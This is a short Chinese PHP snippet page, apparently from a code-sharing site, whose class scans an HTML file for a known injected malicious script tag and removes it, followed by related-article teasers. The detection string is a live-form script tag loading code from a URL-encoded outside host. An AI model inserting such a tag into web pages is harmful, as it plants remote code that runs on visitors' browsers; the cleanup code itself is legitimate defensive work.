php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP怎么实现网站保存快捷方式方便用户随时浏览

PHP怎么实现网站保存快捷方式呢?下面是一段PHP代码,下面这段代码,可以PHP实现网站保存快捷方式,以便用户随时浏览。 复制代码 代码如下: <?php $Shortcut =...

php获取后台Job管理的实现代码

复制代码 代码如下: <?php defined('SYSPATH') OR die('No direct access allowed.'); class Controller_...

PHP合并数组函数array_merge用法分析

本文实例讲述了PHP合并数组函数array_merge用法。分享给大家供大家参考,具体如下: 合并数组是把一个数组追加到另一个数组中,主要应用array_merge()函数实现 语法如下...

PHP下操作Linux消息队列完成进程间通信的方法

关于Linux系统进程通信的概念及实现可查看:http://www.ibm.com/developerworks/cn/linux/l-ipc/   关于Linux系统消息队列的概念及实...

PHP的substr_replace将指定两位置之间的字符替换为*号

复制代码 代码如下:$username = "zongzi"; echo substr_replace($username,'**','1','2'); 定义和用法 substr_r...